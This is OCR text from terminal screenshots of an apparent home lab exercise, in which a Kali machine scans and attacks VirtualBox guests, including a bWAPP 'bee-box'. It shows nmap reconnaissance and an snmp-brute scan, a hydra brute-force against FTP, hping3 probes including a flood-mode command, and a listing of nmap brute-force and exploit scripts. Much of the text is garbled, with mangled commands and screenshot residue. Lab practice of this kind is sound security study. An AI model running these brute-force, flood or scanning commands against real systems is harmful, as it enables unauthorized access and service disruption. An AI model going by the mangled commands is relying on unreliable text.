Host is up (0.0025s latency)

Nmap scan report for 10.0.2.5

Host is up (0.0024s latency)

Nmap scan report for 10.0.2.6

Host is up (0.0021s latency)

Nmap scan report for 10.0.2.15

Host is up (0.0034s latency)

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.87 seconds
(kali® kali)-[~

1 |





image15.png
= N B Ce
oli@iat: -

File Actions Edit View Help

Nnap scan report for 10.0.2.5
Host is up (0.0034s latency)
Not_shown: 995 closed tcp ports (conn-refused)

PORT  STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd

| Frp-syst:

I SYST: Windows _NT

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
I_http-server-header: Microsoft-HTTPAPI/2.0

I_http-title: Service Unavailable

Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -30ms7s

IZnbstat: NetBIOS name: DESKTOP-CHKGVAU, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:2e:4e:ae (Oracle VirtualBox virtual NIC)
I smb2-security-node

13

I_ Message signing enabled but not required
1 smb2-tine:

| date: 2024-01-07T02:52:22

I start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nnap done: 1 1P address (1 host up) scanned in 17.28 seconds

[aliokali)

$ nmap -sA -v -Té 10.0.2.5
You requested a scan type which requires root privileges.
QUITTING!

10.0.2.5

nmap
[sudo] password for kali

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 22:
Initiating ARP Ping Scan at 22:24

Scanning 10.0.2.5 [1 port]

Completed ARP Ping Scan at 22:24, 0.04s elapsed (1 total hosts)
Initiating Parallel DS resolution of 1 host. at 22:24

Completed Parallel DNS resolution of 1 host. at 22:24, 0.01s elapsed
Initiating ACK Scan at 22:24

Scanning 10.0.2.5 [1000 ports]

Completed ACK Scan at 22:24, 0.41s elapsed (1000 total ports)

Nnap scan report for 10.0.2.5

Host is up (0.000875 latency).

ALL 1000 scanned ports on 10.0.2.5 are in ignored states.

Not shown: 1000 unfiltered tcp ports (reset)

MAC Address: 08:00:27:2€:4E:AE (Oracle VirtualBox virtual NIC)

4 EsT

Read data files from: /usr/bin/../share/nmap
Nnap done: 1 IP address (1 host up) scanned in 0.56 seconds
Raw packets sent: 1001 (40.028K8) | Revd: 1001 (40.028KB)

(kali® kali)-[~
o i

[ kali®kati)-[~
$ nnap -sX -t4 10.0.2.5

nmap: unrecognized option '-ta’

See the output of nmap -h for a sunmary of options

(ali® kali)-(~

nnap -sx -Té 10.0.2.5
You requested a scan type which requires root privileges.
QUITTING!

[l kati)- [~
s map -sX -T4 10.0.2.5

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 22:26 EST
Nnap scan report for 10.0.2.5

Host is up (0.00048s latency).

ALL 1000 scanned ports on 10.0.2.5 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:2€:4E:AE (Oracle VirtualBox virtual NIC)

g e o R e R R I e
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@li® kali)
$ nmap -p 21 10.0.2.5

starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 22:39 EST
Nmap scan report for 10.0.2.5

Host is up (0.00069s latency).

PORT  STATE SERVICE
21/tcp open  ftp

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

(kali® kali)-[~
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—(kali® kali)-[~
$ nmap -p 21 10.0.2.5

starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 22:39 EST
Nmap scan report for 10.0.2.5

Host is up (0.000695 latency)

PORT  STATE SERVICE
21/tcp open  ftp

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

—(kali® kali)-[~
ftp 10.0.2.5

Connected to 10.0.2.5

220 Microsoft FTP Service
Name (10.0.2.5:kali): kali
331 Password required
Password:

530 User cannot log in.

ftp: Login failed





image18.png
O A 29| ac

BE@Por- 123 4]0 gm

File Actions Edit View Help

(kali®kati)-[~)
$ hydra -L /home/kali/Documents/passuords_and_usernames.txt -P /home/kali/Documents/passwords_and_usernames.txt ftp://10.0.2.5

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
n-binding, these & ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-06 22:51:20

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.rest
ore

[DATA] max 16 tasks per 1 server, overall 16 tasks, 26896 login tries (1:164/p:164), ~1681 tries per task

[DATA] attacking ftp://10.0.2.5:21/

[STATUS] 3393.00 tries/min, 3393 tries in 00:01h, 23503 to do in 00:07h, 16 active

[STATUS] 4216.67 tries/min, 12650 tries in 00:03h, 14246 to do in 00:04h, 16 active

1 of 1 target completed, 0 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-06 22:57:45

(kali® kali)
Csn
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[sudo] password for kali:
lf( root® kali)-[/home/kali]
# hping3 -1 10.0.2.5

HPING 10.0.2.5 (eth0 10.0.2.5): icmp mode set, 28 headers + 0 data bytes

6 ip=10.0.2.5 ttl-128 id-46856 icmp_seq=0 rtt=i.1 ms

6 1p=10.0.2.5 tt1-128 id-46857 icmp_seq-1

6 ip=10.0.2.5 tt1-128 id=46858 icmp_seq

6 ip=10.0.2.5 tt1-128 id-46859 icmp_seq=3

6 1p=10.0.2.5 ttl-128 id=46860 icmp_seq=4

6 ip=10.0.2.5 tt1-128 id=46861 icmp_seq=5

6 ip=10.0.2.5 ttl-128 id=46862 icmp_seq=6

6 1p=10.0.2.5 ttl-128 id-46863 icmp_seq=7

— 10.0.2.5 hping statistic —
8 packets transmitted, 8 packets received, 0% packet loss
round-trip min/avg/max = 0.8/5.8/11.1 ms

lf( root® kali)-[/home/kali]
# hping3 -5 10.0.2.5

HPING 10.0.2.5 (etho 10.0.2.5): S set, 40 headers + 0 data bytes
6 ip-10.0.2.5 ttl-128 DF id-21908 sport-0 flags=RA win=0 .9 ms
6 ip=10.0.2 1d=21909 sport=0 flags-RA 7ms
6 ip=10.0.2.5 ttl-128 DF id=21910 sport-0 flags=RA 7ms
6 ip=10.0.2.5 ttl-128 DF id=21911 sport-0 flags=RA win=0 s
— 10.0.2.5 hping statistic —
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 2.1/4.1/7.7 ms
E(not@ka\i)—[/hnme/kali]
# hping3 -A 10.0.2.5 -p 80
HPING 10.0.2.5 (etho 10.0.2.5): A set, 40 headers + 0 data bytes
.0.2.5 tt1=128 DF id=21912 sport=80 flags=R seq=0 win=0 .5 ms
.0.2.5 tt1=128 DF id=21913 sport=80 flags=R seq-1 win=0 .9 ms
.0.2.5 tt1=128 DF id=21914 sport=80 flags=R seq=2 win=0 9 ms

— 10.0.2.5 hping statistic —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 2.9/5.1/8.5 ms

[ (root® kali)-[/home/kali]
# hping3 -F 10.0.2.5
HPING 10.0.2.5 (ethd 10.0.2.5): F set, 40 headers + 0 data bytes

.0.2.5 tt1-128 DF 1d=21915 sport=0 flags-RA seq=0 win=0 rtt=11.5 ms
.0.2.5 tt1-128 DF 1d-21916 sport=0 flags-RA seq-1 win=0 rtt=7.3 ms
.0.2.5 tt1-128 DF 1d=21917 sport=0 flags-RA seq=2 win=0 rtt=2.5 ms

— 10.0.2.5 hping statistic —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 2.5/7.1/11.5 ms

[ (root® kali)-[/home/kali]

# hping3 -5 10.0.2.5 -p 80

HPING 10.0.2.5 (ethd 10.0.2.5): S set, 40 headers + 0 data bytes
0.0.2.5 tt1-128 DF id=21918

0.0.2.5 tt1-128 DF id=21919

0.0.2.5 tt1-128 DF d=21920

— 10.0.2.5 hping statistic —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 3.5/6.4/11.8 ms

O® A CBs|ac

root@kali: homekal




image20.png
File Actions Edit View Help

’:'( root® kali)-[/home/kali]

hpingd -5 10.0.2.5 -p 80
HPING 10.0.2.5 (etho 10.0.2.5): 40 headers + 0 data bytes
Ten=46 1p=10.0.2.5 tt
.0.2.5 tt sport=80 flags=RA seq:
Ten-46 ip=10.0.2.5 tt1-128 DF id-21953 sport-80 flags-RA seq-2 win-0 rtt-10.3 ms

— 10.0.2.5 hping statistic —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 7.9/9.7/10.7 ms

[ (root® kali)-[/home/kali]
# hping3 10.0.2.5 —f1,
HPING 10.0.2.5 (ethd 10.0.2.5): NO FLAGS are set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

root@kali: homekal
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root@kali: omeflali

Edit View Go \naly Wirel ols  Help File Actions Edit View Help
root® kali
#
0.3.15 65.38.21.103 (i 54
38.21.103 8.3.15 (i 558 80 -+ 60357 [PSH, AC 3 A 5 root® kali
u

1.103 60 HTTP/1.1 500

2835 116.150902  65.38.21.103 10.0.3.15 (e 6 [TCP Retransmission] 80 + 68357 [FIN, ACK] Seq=1417 Ack

Internet Protocol Version 4, Src: 5
Vv Transmission Control Protocol, Src Port: 8@, Dst Port: 66181, !

80

84 7 df 31 d4 2c 63 al
a1 c7 63 b4 fe a7 6c 11
34 85 d2 be 49 1d ¢5 8a
9 a0 57 31 49 00 8e 30
a 3f 3c 81 8b 99 cb 43
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[ (kali®kati)-[~]
nmap -sP 10.0.2.0/24

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 23:01 EST
Nmap scan report for 10.0.2.1

Host is up (0.00084s latency)

Nmap scan report for 10.0.2.4

Host is up (0.000565 latency)

Nmap scan report for 10.0.2.5

Host is up (0.0011s latency)

Nmap scan report for 10.0.2.6

Host is up (0.0014s latency)

Nmap scan report for 10.0.2.15

Host is up (0.0013s latency)

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.87 seconds

(kati®kati)-[~]

nmap -sS 10.0.2.6

You requested a scan type which requires root privileges.
QUITTING!

[ (kali®kati)-[~]
$ sudo nmap -sS 10.0.2.6

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 23:02 EST
Nmap scan report for 10.0.2.6

Host is up (0.000795 latency)

Not shown: 995 closed tcp ports (reset)

PORT  STATE SERVICE

80/tcp  open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

5357/tcp open wsdapi

MAC Address: 08:00:27:48:D4:DE (Oracle VirtualBox virtual NIC)

Nmap done: 1 TP address (1 host up) scanned in 1.52 seconds

[ (kali®kati)-~]

nmap -sSV -0 10.0.2.6
You requested a scan type which requires root privileges.
QUITTING!

[ (kali®kati)-[~]

$ sudo nmap -sSV -0 10.0.2.6

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 23:02 EST
Nmap scan report for 10.0.2.6

Host is up (0.000845 latency)

Not shown: 995 closed tcp ports (reset)

PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

5357/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP
MAC Address: 08:00:27:48:D4:DE (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Microsoft Windows 2019

05 details: Microsoft Windows Server 2019

Network Distance: 1 hop

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windous

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds

(kali® kali) ]
Csn
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[ (eli®kati)-[~]
$ nmap -sP 10.0.2.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 23:01 EST
Nmap scan report for 10.0.2.1
Host is up (0.00084s latency)
Nmap scan report for 10.0.2.4
Host is up (0.00056s latency)
Nmap scan report for 10.0.2.5
Host is up (0.0011s latency)
Nmap scan report for 10.0.2.6
Host is up (0.0014s latency)
Nmap scan report for 10.0.2.15
Host is up (0.0013s latency)
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.87 seconds
[(eli®kati)-[~]
$ nmap -sS 10.0.2.6
You requested a scan type which requires root privileges
QUITTING!

[ (kali®kati)-[~]
$ sudo nmap -sS 10.0.2.6
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 23:02 EST
Nmap scan report for 10.0.2.6

Host is up (0.000795 latency)

Not shown: 995 closed tcp ports (reset)

PORT  STATE SERVICE

80/tcp  open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

5357/tcp open wsdapi

MAC Address: 08:00:27:48:D4:DE (Oracle VirtualBox virtual NIC)

Nmap done: 1 TP address (1 host up) scanned in 1.52 seconds

[ (kali® kali)-(~]
$ nmap -sSV -0 10.0.2.6
You requested a scan type which requires root privileges.
QUITTING!

[ (kati®kali)
$ sudo nmap -sSV -0 10.0.2.6

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 23:02 EST
Nmap scan report for 10.0.2.6

Host is up (0.000845 latency)

Not shown: 995 closed tcp ports (reset)

PORT  STATE SERVICE VERSION

80/tcp  open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP
MAC Address: 08:00:27:48:D4:DE (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Microsoft Windows 2019

05 details: Microsoft Windows Server 2019

Network Distance: 1 hop

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds

(kali® kali)
L5 pocuments

[ (kali®kali)- [~/Docunents]

$ sudo nmap -sSV -0 10.0.2.6 > ayush.txt
(kali® kali)-[~/Documents]

[P

ayush.txt passwords_and_usernames. txt
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—(kali® kali)-[~
L$ sudo nmap -sU -p 161 10.0.2.6

[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 23:06 EST

Nmap scan report for 10.0.2.6
Host is up (0.0010s latency).

PORT  STATE SERVICE
161/udp open|filtered snmp
MAC Address: 08:00:27:48:D4:DE (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds

—(kali® kali)-[~

. |

P

a

2 2306

a ¢
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E(kali@ kali)-[~]

$ sudo nmap -sU -p 161 --script=snmp-brute 10.0.2.6

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 23:12 EST
Nmap scan report for 10.0.2.6

Host is up (0.00075s latency).

PORT STATE SERVICE
161/udp open|filtered snmp
MAC Address: 08:00:27:48:D4:DE (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

(kali® kali)-[~]
Y
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$ nmap -sv 10.0.2.15

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-07 06:23 EST
Nmap scan report for 10.0.2.15

Host is up (0.0025s latency)

Not shown: 983 closed tcp ports (conn-refused)

PORT ~ STATE SERVICE  VERSION
21/tcp  open ftp POFTPD 1.3.1

22/tcp  open ssh OpenSSH 4.7p1 Debian Subuntul (protocol 2.0)

25/tcp  open smtp Postfix smtpd

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with Suhosin-Patch mod_ss1/2.2.8 OpenssL/0.9.8g)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open ssl/http  Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with Suhosin-Patch mod_ss1/2.2.8 OpenssL/.9.8g)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)

512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell?

666/tcp open doom?

3306/tcp open mysql MySQL 5.0.96-0ubuntu3
5901/tcp open vnc VNC (protocol 3.3; Locked out)
6001/tcp open X11 (access denied)

8080/tcp open http nginx 1.4.0

8443/tcp open ssl/http  nginx 1.4.0

9080/tcp open http lighttpd 1.4.19

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit
.cgiznew-service :

EXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
7. 94%T=7%D=1/7%Tine=659AB9ID6%P=x86_64-pc-1inux-gnu%r (DNSV
rsionBindReqTCP, 1, "\x01" J%r (Kerberos, 1, "\x01" )%r(sMBProgheg, 1, "\x01")%
(oracle-tns,1,"\x01");

EXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY) =
SF-POrt666-TCP:V=7.94%I=7%D=1/7%T ine=659A89D1%P=x86_64-pc-1inux-gnu%r(Gene
:ricLines, 400, "\*\*\+\x20bWAPP\x20Movie\x20Service\x20\\*\\nMatching\x
omovies: \x200\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\010\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\010\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\010\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\0\010\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0" )% (beast2, 400, " \»\#\*\x20bWAPP\x20Mov ie\x20Service\
20\#\\*\nMatching\x20movies:\x200\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ) ;

ervice Info: Host: bee-box; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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Nmap done: 1 IP address (1 host up) scanned in 152.61 seconds

[ali®kati)-[~]
$ cd /usr/share/nmap/scripts

1s
acarsd-info.nse
address-info.nse

afp-brute.nse

afp-ls.nse

afp-path-vuln.nse
afp-serverinfo.nse
afp-showmount .nse
ajp-auth.nse

ajp-brute.nse

ajp-headers.nse
ajp-methods..nse
ajp-request.nse
allseeingeye-info.nse
angp-info.nse

asn-query.nse

auth-owners .nse

auth-spoof .nse
backorifice-brute.nse
backorifice-info.nse
bacnet-info.nse

banner.nse

bitcoin-getaddr.nse
bitcoin-info.nse
bitcoinrpc-info.nse
bittorrent-discovery.nse
bjnp-discover.nse
broadcast-atace-discover.nse
broadcast-avahi-dos.nse
broadcast-bjnp-discover.nse
broadcast-db2-discover.nse
broadcast-dhcpé-discover.nse
broadcast-dhcp-discover.nse
broadcast-dns-service-discovery.nse
broadcast-dropbox-listener.nse
broadcast-eigrp-discovery.nse
broadcast-hid-discoveryd.nse
broadcast-igmp-discovery.nse
broadcast-jenkins-discover.nse
broadcast-listener.nse
broadcast-ms-sql-discover.nse
broadcast-netbios-master-browser.nse
broadcast-networker-discover.nse
broadcast-novell-locate.nse
broadcast-ospf2-discover.nse
broadcast-pc-anywhere.nse
broadcast-pc-duo.nse
broadcast-pin-discovery.nse
broadcast-ping.nse
broadcast-pppoe-discover.nse
broadcast-rip-discover.nse
broadcast-ripng-discover.nse
broadcast-sonicwall-discover.nse
broadcast-sybase-asa-discover.nse
broadcast-tellstick-discover.nse
broadcast-upnp-info.nse
broadcast-versant-locate.nse
broadcast-wake-on-lan.nse
broadcast-wpad-discover.nse
broadcast-wsdd-discover.nse
broadcast-xdncp-discover.nse
cassandra-brute.nse
cassandra-info.nse
cccam-version.nse
cics-enum.nse

cics-info.nse
cics-user-brute.nse
cics-user-enum.nse
citrix-brute-xnl.nse
citrix-enum-apps.nse
citrix-enum-apps-xml.nse
citrix-enum-servers.nse
citrix-enun-servers-xml.nse
clamav-exec.nse

clock-skew.nse

G(kali@kali)—

/ust/share/nmap/scripts]

hostmap-crtsh.nse
hostmap-robtex.nse
http-adobe-coldfusion-apsa1301.nse
http-affiliate-id.nse
http-apache-negotiation.nse
http-apache-server-status.nse
http-aspnet-debug.nse
http-auth-finder.nse
http-auth.nse

http-avaya-ipof fice-users.nse
http-awstatstotals-exec.nse
http-axis2-dir-traversal.nse
http-backup-finder.nse
http-barracuda-dir-traversal.nse
http-bigip-cookie.nse
http-brute.nse
http-cakephp-version.nse
http-chrono.nse
http-cisco-anyconnect.nse
http-coldfusion-subzero.nse
http-comments-displayer.nse
http-config-backup.nse
http-cookie-flags.nse
http-cors.nse
http-cross-domain-policy.nse
http-csrf.nse

http-date.nse
http-default-accounts.nse
http-devframework.nse
http-dLink-backdoor.nse
http-dombased-xss.nse
http-domino-enun-passwords.nse
http-drupal-enun.nse
http-drupal-enun-users.nse
http-enun.nse

http-errors.nse
http-exif-spider.nse
http-favicon.nse

http-feed.nse

http-fetch.nse
http-fileupload-exploiter.nse
http-form-brute.nse
http-forn-fuzzer.nse
http-frontpage-login.nse
http-generator.nse
http-git.nse
http-gitweb-projects-enun.nse
http-google-malware.nse
http-grep.nse

http-headers.nse
http-hp-ilo-info.nse
http-huawei-hgsxx-vuln.nse
http-icloud-findmyiphone.nse
http-icloud-sendmsg.nse
http-iis-short-name-brute.nse
http-iis-webdav-vuln.nse
http-internal-ip-disclosure.nse
http-joomla-brute.nse
http-jsonp-detection.nse
http-litespeed-sourcecode-download.nse
http-1s.nse
http-majordomo2-dir-traversal.nse
http-nalware-host.nse
http-mcnp.nse

http-methods.nse
http-method-tamper.nse
http-mobileversion-checker.nse
http-ntln-info.nse
http-open-proxy.nse
http-open-redirect.nse
http-passud.nse
http-phpmyadmin-dir-traversal.nse
http-phpself-xss.nse
http-php-version.nse

Koli@kol:fusr/share/nmaplscripts

ip-geolocation-map-bing.nse
ip-geolocation-map-google.nse
ip-geolocation-map-knl.nse
ip-geolocation-maxmind.nse
ip-https-discover.nse
ipidseq.nse

ipmi-brute.nse
ipmi-cipher-zero.nse
ipmi-version.nse
ipve-multicast-mld-list.nse
ipv6-node-info.nse
ipvé-ra-flood.nse
irc-botnet-channels.nse
irc-brute.nse

irc-info.nse
irc-sasl-brute.nse
irc-unrealircd-backdoor.nse
iscsi-brute.nse
iscsi-info.nse
isns-info.nse
jdup-exec.nse
jdup-info.nse
jdwp-inject.nse
jdup-version.nse
knx-gateway-discover.nse
knx-gateway-info.nse
krbs-enun-users. nse
Ldap-brute.nse
1dap-novell-getpass.nse
1dap-rootdse.nse
1dap-search.nse
Lexmark-config.nse
lmnr-resolve.nse
1ltd-discovery.nse
Lu-enum. nse

maxdb-info.nse
mcafee-epo-agent.nse
membase-brute.nse
membase-http-info.nse
memcached-info.nse
metasploit-info.nse
metasploit-msgrpc-brute.nse
metasploit-xmlrpc-brute.nse
mikrotik-routeros-brute.nse
mmouse-brute.nse
mmouse-exec.nse
modbus-discover.nse
mongodb-brute.nse
mongodb-databases .nse
mongodb-info.nse
mqtt-subscribe.nse
mrinfo.nse

msrpc-enun. nse
ms-sql-brute.nse
ms-sql-config.nse
ms-sql-dac.nse
ms-sql-dump-hashes.nse
ms-sql-empty-password. nse
ms-sql-hasdbaccess.nse
ms-sql-info.nse
ms-sql-ntlm-info.nse
ms-sql-query.nse
ms-sql-tables.nse
ms-sql-xp-cndshell.nse
mtrace.nse
murmur-version.nse
